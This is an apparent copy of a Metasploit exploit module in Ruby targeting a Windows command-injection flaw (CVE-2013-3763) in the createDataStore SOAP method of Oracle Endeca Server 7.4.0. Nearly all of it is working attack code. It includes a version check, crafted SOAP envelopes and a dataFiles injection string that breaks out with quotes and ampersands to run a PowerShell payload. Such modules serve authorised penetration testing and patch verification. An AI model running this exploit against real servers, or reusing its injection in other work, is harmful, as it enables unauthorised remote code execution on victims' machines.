Oracle Endeca Server – Remote Command Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell def initialize super( 'Name' => 'Oracle Endeca Server Remote Command Execution', 'Description' => %q{ This module exploits a command injection vulnerability on the Oracle Endeca Server 7.4.0. The vulnerability exists on the createDataStore method from the controlSoapBinding web service. The vulnerable method only exists on the 7.4.0 branch and isn't available on the 7.5.5.1 branch. On the other hand, the injection has been found to be Windows specific. This module has been tested successfully on Endeca Server 7.4.0.787 over Windows 2008 R2 (64 bits). }, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'Platform' => 'win', 'Arch' => [ ARCH_X86_64, ARCH_X86 ], 'References' => [ [ 'CVE', '2013-3763' ], [ 'BID', '61217' ], [ 'OSVDB', '95269' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-190/' ], [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpujuly2013-1899826.html' ] ], 'Targets' => [ [ 'Oracle Endeca Server 7.4.0 / Microsoft Windows 2008 R2 64 bits', { } ] ], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => 'Jul 16 2013' ) register_options( [ Opt::RPORT(7770), OptString.new('TARGETURI', [true, 'The URI path of the Control Web Service', '/ws/control']) ], self.class) end def peer return "#{rhost}:#{rport}" end def version_soap soap = <<-eos <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://www.endeca.com/endeca-server/control/1/0"> <soapenv:Header/> <soapenv:Body> <ns:version/> </soapenv:Body> </soapenv:Envelope> eos return soap end def create_data_store_soap(name, files) soap = <<-eos <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://www.endeca.com/endeca-server/control/1/0"> <soapenv:Header/> <soapenv:Body> <ns:createDataStore> <ns:dataStoreConfig> <ns:name>#{name}</ns:name> <ns:dataFiles>#{files}</ns:dataFiles> </ns:dataStoreConfig> </ns:createDataStore> </soapenv:Body> </soapenv:Envelope> eos return soap end def check res = send_request_soap(version_soap) if res.nil? or res.code != 200 or res.body !~ /versionResponse/ return Exploit::CheckCode::Safe end version_match = res.body.match(/<serverVersion>Oracle Endeca Server ([0-9\.]*) /) if version_match.nil? return Exploit::CheckCode::Unknown else version = version_match[1] end print_status("#{peer} - Version found: Oracle Endeca Server #{version}") if version =~ /7\.4\.0/ and version <= "7.4.0.787" return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def send_request_soap(data) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'ctype' => 'text/xml; charset=utf-8', 'headers' => { 'SOAPAction' => "\"\"" }, 'data' => data }) return res end def exploit command = cmd_psh_payload(payload.encoded) if command.length > 8000 # Windows 2008 Command Prompt Max Length is 8191 fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command") end print_status("#{peer} - Exploiting through Powershell...") execute_command(command) end def execute_command(cmd) # HTML encode ampersands so SOAP is correctly interpreted cmd.gsub!(/&/, "&") injection = "c:\\"& #{cmd} &"" exploit_data = create_data_store_soap(rand_text_alpha(4), injection) begin res = send_request_soap(exploit_data) if res.nil? or res.code != 500 or ( res.body !~ /Error creating data files at/ and res.body !~ /Data files don't exist/ ) print_status("#{res.code}\n#{res.body}") if res fail_with(Failure::UnexpectedReply, "#{peer} - Unable to execute the CMD Stager") end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Unable to connect") end end end |